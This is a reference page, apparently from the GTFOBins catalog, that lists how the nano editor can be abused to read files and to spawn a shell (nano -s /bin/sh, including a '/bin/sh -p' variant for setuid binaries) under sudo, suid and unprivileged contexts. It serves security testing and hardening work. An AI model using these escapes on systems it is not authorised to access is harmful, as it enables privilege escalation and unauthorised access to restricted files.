Catalog GTFOBins

GTFO · Tool

nano

12 techniques Linux · macOSGTFOBins GPL-3.0
file-read
File ReadPrivilege Escalation LinuxmacOS

The file content is displayed in the terminal interface.

nano /path/to/input-file
Context
sudo
Native
file-read
MITRE
T1005
file-read
File ReadPrivilege Escalation LinuxmacOS

The file content is displayed in the terminal interface.

nano /path/to/input-file
Context
suid
Native
file-read
MITRE
T1005
file-read
File Read LinuxmacOS

The file content is displayed in the terminal interface.

nano /path/to/input-file
Context
unprivileged
Native
file-read
MITRE
T1005
shell
ExecutionPrivilege Escalation LinuxmacOS

The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.

nano -s /bin/sh
/bin/sh
^T^T
Context
sudo
Native
shell
MITRE
T1059
shell
ExecutionPrivilege Escalation LinuxmacOS

The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.

nano -s '/bin/sh -p'
/bin/sh -p
^T^T
Context
suid
Native
shell
MITRE
T1059
shell
Execution LinuxmacOS

The `SPELL` environment variable can be used in place of the `-s` option if the command line cannot be changed.

nano -s /bin/sh
/bin/sh
^T^T
Context
unprivileged
Native
shell
MITRE
T1059